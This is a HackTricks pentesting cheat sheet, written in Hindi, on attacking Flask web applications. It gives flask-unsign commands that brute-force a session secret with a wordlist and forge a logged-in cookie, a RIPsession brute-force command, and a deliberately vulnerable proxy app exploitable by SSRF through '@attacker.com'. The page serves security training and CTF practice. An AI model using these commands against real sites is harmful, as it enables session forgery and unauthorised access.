Flask

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

संभवतः यदि आप CTF खेल रहे हैं तो एक Flask एप्लिकेशन SSTI** से संबंधित होगा।**

Cookies

डिफ़ॉल्ट कुकी सत्र का नाम session है।

Decoder

ऑनलाइन Flask कुकीज़ डिकोडर: https://www.kirsle.net/wizards/flask-session.cgi

Manual

कुकी के पहले भाग को पहले बिंदु तक प्राप्त करें और इसे Base64 डिकोड करें>

echo "ImhlbGxvIg" | base64 -d

कुकी को एक पासवर्ड का उपयोग करके भी साइन किया गया है

Flask-Unsign

कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और बनाने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है।

flask-unsign \xc2\xb7 PyPI

pip3 install flask-unsign

कुकी डिकोड करें

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

ब्रूट फोर्स

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

हस्ताक्षर करना

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

पुराने संस्करणों का उपयोग करके साइन इन करना

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है।

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Flask सत्र कुकी में SQLi SQLmap के साथ

यह उदाहरण sqlmap eval विकल्प का उपयोग करता है ताकि flask के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके एक ज्ञात गुप्त कुंजी का उपयोग करके।

SSRF के लिए Flask प्रॉक्सी

इस लेख में यह समझाया गया है कि Flask कैसे एक अनुरोध की अनुमति देता है जो चरित्र “@” से शुरू होता है:

GET @/ HTTP/1.1
Host: target.com
Connection: close

निम्नलिखित परिदृश्य में:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

कुछ ऐसा “@attacker.com” पेश करने की अनुमति दे सकता है जिससे SSRF हो सके।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें